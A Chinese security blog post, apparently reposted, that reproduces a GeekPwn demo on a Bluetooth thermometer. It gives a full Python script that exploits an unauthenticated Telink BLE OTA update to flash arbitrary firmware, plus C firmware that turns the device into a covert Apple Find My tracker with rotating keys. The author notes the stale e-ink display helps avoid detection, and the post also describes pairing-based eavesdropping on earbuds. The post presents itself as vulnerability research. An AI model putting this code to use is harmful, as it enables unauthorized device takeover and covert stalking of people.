《我是极客》项目复现:伪装成温度计的跟踪器

VSole2021-10-25 15:59:12

研究背景简介

在极棒(我是极客)比赛上看到玄武的追踪信标团队展示的项目,效果就是在耳机近场范围内,选手对耳机发起攻击然后变成了一个类似airtag跟踪器,技术评委带上耳机后在十分钟开车随便选择了一个地点,选手跟踪耳机最终确定了评委所在地。

下面我们来复现这个项目,以及拓展其他有关智能设备隐私的问题。

蓝牙温湿度计RCE漏洞

 

目标是某款蓝牙温湿度计,通过拆解外壳可以发现使用的是Telink的TLSR8251的BLE 芯片,我先说一下成因是芯片厂商一般会提供SDK以及开发时候的参考例程,其中就包括了蓝牙OTA的升级例程,而这个例程中基本没有对安全考虑,基本上只有CRC16完整性的校验,这种芯片供应链的风险其实在我19年一个议题中讲到过有兴趣的小伙伴可以看看《蓝牙安全之第二战场》(http://cnbj1.fds.api.xiaomi.com/src/ppt/8.pdf)

另外通过固件也能识别出产品是否使用了Telink提供的芯片架构,这里有两个方法分别是固件头部的四个字节为固定"KNLT",以及基于官方提供的SDK编译后会包含"Telink"的字符串,这个值是被硬编码到了协议栈的封装库中。

然后在设备进行升级时候保存其蓝牙数据包,可以通过Wireshark分析流量数据,然后对比从安卓目录\data\data\com.**中找到设备固件,黑盒在反推一下就能得到这个Telink OTA时候的升级协议了。

import logging
import time
from bluepy import btle
logging.basicConfig(level=logging.DEBUG, format="[%(asctime)s] [%(levelname)s] [%(filename)s#%(lineno)d] %(message)s", datefmt="%H:%M:%S")
class BLEDelegate(btle.DefaultDelegate):
    def __init__(self):
        btle.DefaultDelegate.__init__(self)
    def handleNotification(self, cHandle, data):
        logging.info("Notify: 0x%02x %s(%s)", cHandle, data.hex(),bytes.fromhex(data.hex()))
def enable_notify(handle):
    ble_conn.writeCharacteristic(handle , b"\x01\x00", withResponse=True)


CRC16 = 0
CRC16_CCITT = 1
CRC_CCITT_XMODEM = 2
CRC16_CCITT_x1D0F = 3
CRC16_MODBUS = 4
def crc16(buffer, mode=CRC16_MODBUS):
    if mode == CRC16_CCITT:
        polynom = 0x1021
        crc16ret = 0xFFFF
    if mode == CRC16_CCITT_x1D0F:
        polynom = 0x1021
        crc16ret = 0x1D0F
    if mode == CRC_CCITT_XMODEM:
        polynom = 0x1021
        crc16ret = 0
    if mode == CRC16:
        polynom = 0xA001
        crc16ret = 0
    if mode == CRC16_MODBUS:
        polynom = 0xA001
        crc16ret = 0xFFFF
    if (mode != CRC16) and (mode != CRC16_MODBUS):
        for l in buffer:
            crc16ret ^= int(l) << 8 #ord(l) << 8
            crc16ret &= 0xFFFF
            for i in range(0, 8):
                if (crc16ret & 0x8000):
                    crc16ret = (crc16ret << 1) ^ polynom
                else:
                    crc16ret = crc16ret << 1
                crc16ret &= 0xFFFF
    else:
        for l in buffer:
            crc16ret ^= int(l) #   ord(l)
            crc16ret &= 0xFFFF
            for i in range(8):
                if (crc16ret & 0x0001):
                    crc16ret = (crc16ret >> 1) ^ polynom
                else:
                    crc16ret = crc16ret >> 1
                crc16ret &= 0xFFFF
    lsb=hex((crc16ret&0xff00)>>8)[2:].zfill(2)
    msb=hex(crc16ret&0xff)[2:].zfill(2)
    return msb+lsb
TELINK_OTA_UUID_SERVICE="00010203-0405-0607-0809-0a0b0c0d1912"
TELINK_SPP_DATA_OTA="00010203-0405-0607-0809-0a0b0c0d2b12"


dev_addr = "A4:C1:38:35:A5:3A" # mmc
logging.info("Connecting...")
ble_conn = btle.Peripheral(dev_addr, btle.ADDR_TYPE_PUBLIC,iface=0)
ble_conn.setDelegate(BLEDelegate())
logging.info("Connected.")
s = ble_conn.getServiceByUUID(TELINK_OTA_UUID_SERVICE)
c=s.getCharacteristics()[0]
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("00ff"))
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("01ff"))
print(hex(c.getHandle()))
time.sleep(0.2)
f=open('./iBeacon.bin','rb')
s=f.read(16)
addr=0
while(s):
    addrs=hex(addr)[2:].zfill(4)
    msb=addrs[2:]
    lsb=addrs[:2]
    binline=msb+lsb+s.hex().ljust(16*2, 'f');
    crc=crc16(bytes.fromhex(binline)).zfill(4)
    ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex(binline+crc))
    addr+=1
    s=f.read(16)
    if addr % 8 ==0 :
        while True:
            if ble_conn.waitForNotifications(0.2):
                continue
            break
        pass
f.close()
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex('02ff'))
ble_conn.waitForNotifications(1)

然后根据黑盒逆向得到的协议,在基于bluepy的库写了一个Telink OTA的升级脚本,对其他使用了Telink芯片的产品都是适用的,除非是自己改过了,我是基本没遇见过,然后搜索周围的蓝牙设备就找到设备MAC,然后就能对设备进行任意的固件升级了,因为设备只能判断固件的完整性,不能对固件进行鉴别真实性,以直接升级一个假的固件,这样就能变砖了。

接着来讲下如何继续接管芯片的控制逻辑,实现任意代码执行的能力。

 

首先我们要构建这个芯片的开发环境,大多数情况下芯片的SDK以及开发板都不太好获得,需要签署保密协议之类厂商才会提供,找到安信可专门做开发板的公司,他们居然将芯片SDK开源了!

对于其他的芯片厂商没有找到公开的资源可以试试利用大厂的公司邮箱发封邮件,也有很大概率能得到想要的文档/开发板。

这样可以借助这个SDK的工具链编译我们构造好的恶意代码固件,然后在利用上面的传到设备中就能实现未授权RCE的效果了,并且还能调用原本板子上的硬件资源,例如墨水屏,温湿度传感器之类的。

这类的问题讲道理应该是Telink芯片厂商去完成修复,但在我联系芯片厂商后他们认为并不是他们的问题,应该由产品的制造商来解决,方案是启用蓝牙的配对模式,但像Nordic芯片厂商则会提供一个安全的参考例程序(BLE Secure DFU)。

下面来说一下怎么将这个温湿度计变成一个跟踪器。

苹果 Find My 技术简介

相关的技术原理在苹果的隐私白皮书,我就简单说一下这个findmy 网络。

1、手机与airtag 基于secp224r1算法标准,会生成一对公私密钥,手机将私钥保存在密钥链中。

2、airtag保存公钥并将公钥进行蓝牙广播。

3、周围的其他苹果终端收到带有FindMy标识的蓝牙广播后,会通过广播中的公钥加密自己的位置信息上传到苹果服务器中。

4、然后airtag的拥有者可以通过公钥的哈希ID作为索引下载到加密后的信息,然后在通过密钥链中的私钥解开得到位置信息。

Find My 蓝牙广播协议

然后airtag会通过蓝牙广播这个公钥(28字节):

EC P-224 公钥:05e7b2bb75cf9bbaeb32518c899fa84cca2e268e76b3a24cd1b793be

ble mac :c5e7b2bb75cf

ble payload :1eff4c001219009bbaeb32518c899fa84cca2e268e76b3a24cd1b793be0000

openhaystack # 逆向FindMy协议后实现的开源项目

在此之前其实就有其他研究员对苹果的这套FindMy协议进行逆向,通过第三方软件自己生成P-224的密钥对,然后将公钥传到自己的开发板(ESP32/NRF52/RaspberryPi)中,然后通过上面蓝牙广播协议将公钥传出,这是因为周围的苹果终端是无法识别该广播是否为真是的AirTag发出的,所以会一并上传到苹果的服务器,因为苹果API做了限制这个第三方软件只能通过安装了苹果邮件插件,访问服务器下载位置报告。

u8 adv_key[16][28]={
{0x05,0xe7,0xb2,0xbb,0x75,0xcf,0x9b,0xba,0xeb,0x32,0x51,0x8c,0x89,0x9f,0xa8,0x4c,0xca,0x2e,0x26,0x8e,0x76,0xb3,0xa2,0x4c,0xd1,0xb7,0x93,0xbe},
{0xff,0x12,0x74,0x71,0x73,0x7c,0x14,0x2e,0x07,0xe2,0x1f,0xfa,0x7e,0x15,0x3f,0x4d,0x52,0xaf,0xf6,0x78,0x37,0xd1,0x59,0xea,0x2c,0x5b,0xf5,0x6e},
{0x97,0x7d,0xd0,0xc4,0x94,0xab,0x6a,0x58,0xe7,0x8c,0xb2,0xe0,0x1d,0x7c,0x05,0xea,0x61,0x21,0x7e,0x8d,0x2c,0x83,0xe1,0x13,0xd9,0x53,0x63,0x01},
{0xa0,0x27,0xeb,0xde,0x2f,0x1b,0xd7,0x2d,0x27,0xbf,0x75,0x73,0xc5,0xa5,0x5c,0x1e,0xfd,0x12,0xf8,0xc9,0x03,0xd7,0xf7,0x9b,0x6a,0x87,0xcb,0x68},
{0xb7,0x3e,0xea,0xb6,0x87,0x62,0x1b,0xaa,0x5c,0xff,0x20,0xfa,0x16,0x8c,0x9f,0x63,0xfd,0xf7,0x39,0x7f,0x6e,0xe3,0xb3,0x47,0xa4,0x92,0x57,0x99},
{0x1d,0xe8,0x33,0xe1,0x3d,0x48,0x11,0xa4,0x8c,0xc7,0x87,0xd1,0x2a,0xd9,0xbd,0x5d,0x79,0xec,0xa5,0xd9,0x12,0x02,0x93,0x70,0x26,0xef,0xc5,0x23},
{0x60,0x8b,0x4e,0x0f,0x8c,0x7c,0xe1,0x57,0xf8,0xb9,0x33,0x96,0x1c,0xd9,0xfb,0x3b,0x6b,0x7d,0xfd,0xce,0xb2,0x05,0x00,0xd1,0x1f,0x2b,0xdc,0x98},
{0x4f,0x41,0xb7,0x27,0xc5,0x90,0x1f,0x79,0xaf,0x33,0xc8,0x9b,0x1a,0x53,0x37,0x69,0xcc,0x96,0xcb,0x2c,0x6e,0x03,0x5e,0x3d,0x2d,0x06,0x6b,0xd6},
{0xbe,0x6a,0x91,0x99,0x27,0x7f,0xed,0x92,0xe2,0x5e,0xa5,0xd0,0x01,0xef,0xe9,0x50,0x75,0x93,0xfe,0xcb,0x79,0x4f,0x52,0x32,0xdf,0x5b,0xf9,0x82},
{0x3a,0xda,0x8a,0x7f,0x2d,0x56,0xcb,0x5b,0xd6,0xe3,0xe0,0x5b,0x01,0x11,0x64,0x96,0x89,0x86,0xa4,0x3b,0x2b,0x05,0xdb,0x94,0xb9,0xf5,0xfe,0xbc},
{0x7b,0xba,0xcd,0x7a,0x5f,0x55,0xba,0x1e,0x00,0xf1,0xdc,0xe7,0x1c,0xb2,0x65,0x5f,0x11,0x86,0x55,0x62,0x99,0xc4,0xb9,0x9b,0x25,0xeb,0x95,0xb3},
{0xdf,0xef,0xa2,0x71,0xd2,0x2f,0xdf,0xd2,0x61,0xf3,0xc6,0x0a,0x0a,0x0f,0x92,0x30,0x4b,0x5c,0x33,0x16,0x29,0x63,0xcc,0x66,0xca,0xd0,0x06,0xb2},
{0xf0,0xa4,0xcf,0xca,0x5d,0x66,0xc6,0xaa,0x34,0xe6,0x21,0x21,0x73,0x6d,0x5a,0x29,0x19,0xc1,0x90,0x6e,0xf2,0xbf,0x77,0x01,0xe2,0x6b,0x89,0xab},
{0x6c,0x00,0xaa,0xa2,0xb3,0xb5,0x85,0x6c,0x0c,0x1e,0x37,0xb3,0x59,0xf2,0xfe,0x99,0xe5,0x33,0x1f,0xeb,0x8b,0xc4,0x7d,0x65,0x65,0x7d,0xd9,0x75},
{0x10,0x96,0x5e,0xf8,0xeb,0x1b,0xf3,0x0a,0x22,0xe6,0x22,0x5a,0x2b,0xea,0x78,0x6a,0x63,0xc5,0xe6,0x3c,0x3b,0xd2,0x36,0x2e,0xaa,0x64,0xdb,0x1e},
{0x88,0xfb,0x96,0x83,0x18,0xf6,0x6f,0x8d,0x86,0xd2,0xec,0xfd,0x26,0x68,0xeb,0xed,0x73,0xcc,0x83,0xb9,0xe2,0x6b,0x73,0x8d,0x43,0x57,0x88,0xca}
};
void apple_adv(u8 *key_data){
    bls_ll_setAdvEnable(0);
    u8 mac_public_d[6];
    mac_public_d[5] = key_data[0] | 0b11000000;
    mac_public_d[4] = key_data[1];
    mac_public_d[3] = key_data[2];
    mac_public_d[2] = key_data[3];
    mac_public_d[1] = key_data[4];
    mac_public_d[0] = key_data[5];
    char at_print_buf[256];
    u_sprintf((char*)at_print_buf, "mac:%02X:%02X:%02X:%02X:%02X:%02X \r\n",mac_public_d[5],mac_public_d[4],mac_public_d[3],mac_public_d[2],mac_public_d[1],mac_public_d[0]);
    at_print(at_print_buf);
    u8 adv_data[31] = {
        0x1e, /* Length (30) */
        0xff, /* Manufacturer Specific Data (type 0xff) */
        0x4c, 0x00, /* Company ID (Apple) */
        0x12, 0x19, /* Offline Finding type and length */
        0x00, /* State */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, /* First two bits */
        0x00, /* Hint (0x00) */
    };
    memcpy(&adv_data[7], &key_data[6], 22);
    adv_data[29] = key_data[0] >> 6;
    u_sprintf((char*)at_print_buf, "adv:%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X \r\n",adv_data[0],adv_data[1],adv_data[2],adv_data[3],adv_data[4],adv_data[5],adv_data[6],adv_data[7],adv_data[8],adv_data[9],adv_data[10],adv_data[11],adv_data[12],adv_data[13],adv_data[14],adv_data[15],adv_data[16],adv_data[17],adv_data[18],adv_data[19],adv_data[20],adv_data[21],adv_data[22],adv_data[23],adv_data[24],adv_data[25],adv_data[26],adv_data[27],adv_data[28],adv_data[29],adv_data[30]);
    at_print(at_print_buf);
    u8  mac_random_static[6];
    blc_initMacAddress(CFG_ADR_MAC, mac_public_d, mac_random_static);
    blc_ll_initBasicMCU();   //mandatory
    blc_ll_initStandby_module(mac_public_d);
    bls_ll_setAdvData( (u8 *)adv_data, sizeof(adv_data) );
    u8 status = bls_ll_setAdvParam( ADV_INTERVAL_50MS , ADV_INTERVAL_50MS , \
                                    ADV_TYPE_NONCONNECTABLE_UNDIRECTED, OWN_ADDRESS_PUBLIC, \
                                     0,  NULL,  BLT_ENABLE_ADV_ALL, ADV_FP_NONE);
    bls_ll_setAdvEnable(1);  //adv enable
    rf_set_power_level_index (MY_RF_POWER_INDEX);
}
int i=0;
_attribute_ram_code_ void main_loop (void)
{   
    apple_adv(adv_key[i]);
    char at_print_buf[256];
    sleep_us(1000000);


    u32 time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
    u_sprintf((char*)at_print_buf,"time:%d\r\n",time_a);
    at_print(at_print_buf);
    i++;
    if (i>15){
        i=0;
    }
    while (!(time_a%30==0 && time_a!=0)){
        blt_sdk_main_loop();
        time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
    }
}

然后我在这个基础做了改进,就是苹果服务器做了一个策略是同一个FindMy的设备在五分钟内只会登记一个地点,这也是为什么项目选手十分钟只记录了两个轨迹点,我生成16个密钥对(adv_key)通过自己写的代码间隔30秒的替换广播的公钥,因此可以将间隔缩短到30秒甚至更少,跟踪的轨迹更加线性。

温度计可以续航一年之久,采用了墨水屏即使不驱动,屏幕也会显示之前的数值不会轻易被跟踪者被察觉(也能自己写代码驱动墨水屏,显示真实数据,但是有一定的开发量暂未实现),从产品形态来看温度计更像温度计。

参考链接:

https://arxiv.org/pdf/2103.02282.pdf

https://support.apple.com/en-gb/guide/security/sece994d0126/web

https://github.com/Ai-Thinker-Open/Telink_825X_SDK

https://github.com/seemoo-lab/openhaystack

https://github.com/adamcatley/adamcatley.github.io/blob/a05b9dcbbf20e72ab31e416c210bd13d566e9c9c/docs/AirTag.md

广播信标追踪

其实上还有很多智能产品采用BLE 广播的协议实现设备发现等功能,例如两家国内销量Top2的可穿戴手环产品,在运行期间会不断广播自身唯一标识,周围任何人都能收到这个信息,还有国内大部分的快传协议也有这种风险,不过需要使用者打开系统自带的快传功能并且部分品牌手机需要保持亮屏状态。

危害就是在一个城市部署足够多的蓝牙嗅探节点,进行统一汇总这样可以推算出某个人一天时间之内去了那些地方场所,或者在固定场所部署嗅探节点,例如判断这个人具体的休息工作时间。

真实AirTag会定期更新所广播的公钥以及唯一的标识目的就是解决上面这个跟踪的问题,只是在国内似乎并没有人关注到这个风险。

蓝牙耳机实现远程监听

最开始其实是在我现有的耳机上在挖RCE的洞,然后意外找到Enco Air 链接时候有个缺陷。

正常耳机在开机后默认是与已配对的手机进行链接,配对模式需要长按某个按键才会进入,而这个耳机似乎是为了用户体验考虑,开盖后默认就是配对模式,任意人都能连接配对上,关键点就是没有授权的操作比如说按一下物理按键完成配对(比赛项目那个耳机也是处于开盖状态下,相同的条件),这样攻击者就能配对然后调用麦克风实现远程监听效果了。

蓝牙功能蓝牙协议栈
本作品采用《CC 协议》,转载必须注明作者和本文链接
Bluetooth学习之esp32
2022-05-08 18:39:25
Bluetooth学习之esp32旨在寻找IOT设备的攻击面之
蓝牙是当下流行的短距离通信技术,蓝牙标准中的配对机制可以在主从设备之间快速建立连接,连接建立以后可以避免第三方的窃听和篡改。为了解决蓝牙技术在工业物联网中的安全应用问题,首先分析了蓝牙协议的安全机制,其次分析工业物联网应用场景对蓝牙通信的安全需求,并研究现有蓝牙安全机制与工业物联网蓝牙需求的差异。最后提出了适用于工业物联网终端的蓝牙安全方案,可以实现基于合法身份的、分布式的鉴权及接入控制功能
当你第一眼看到并爱上Flipper Zero,绝对不是因为它的功能,而是极其高的颜值。其外观设计师绝对是T0级别,注塑成型的塑料外壳,和酷似萝卜刀的造型,绝对会第一时间吸引用户的注意力。
10月23日,看雪第五届安全开发者峰会于上海举办,欢迎各位莅临现场!
进入2023年,随着我们踏上边缘计算的旅程,大多数(如果不是全部)行业都在数字化层面上发展。但汽车行业正在经历另一个层面的技术创新。
在极棒(我是极客)比赛上看到玄武的追踪信标团队展示的项目,效果就是在耳机近场范围内,选手对耳机发起攻击然后变成了一个类似airtag跟踪器,技术评委带上耳机后在十分钟开车随便选择了一个地点,选手跟踪耳机最终确定了评委所在地。
蓝牙低功耗(BLE,Bluetooth Low Energy)协议在资源受限的设备之间实现高能效的无线通信。
以往工作揭示了所涉及协议中的一些安全性和隐私性问题,这些工作对AirDrop进行了广泛的研究。对将目标连接到攻击者控制的Wi-Fi网络的PWS进行攻击。最近,有几项研究发现了苹果专有的无线协议中的严重漏洞。AWDL协议和对AirDrop的中间设备攻击。到目前为止,迄今为止的工作已经深入分析了一种服务,即。但是,所涉及的上层协议仍然是未知的。
物联网安全研究
2022-06-13 13:56:53
物联网是继计算机、互联网和移动通信之后新一轮信息技术革命,自1999年美国麻省理工学院的凯文·阿什顿教授提出物联网的概念以来,同时伴随着5G、人工智能、区块链等新兴技术的快速发展和逐步应用,以及智慧城市、工业互联网、车联网等新应用的快速落地,物联网和移动互联网进一步深度融合,正进入“跨界融合、集成创新、规模化发展”新阶段。在物联网快速发展的同时,安全问题日益凸显。
据Bleeping Computer消息,NCC集团的安全研究人员近日已成功攻破特斯拉无钥匙系统,在中继通道建立起来后,整个攻击过程只需要不到10秒钟即可打开车门,并且可以无限重复攻击。
VSole
网络安全专家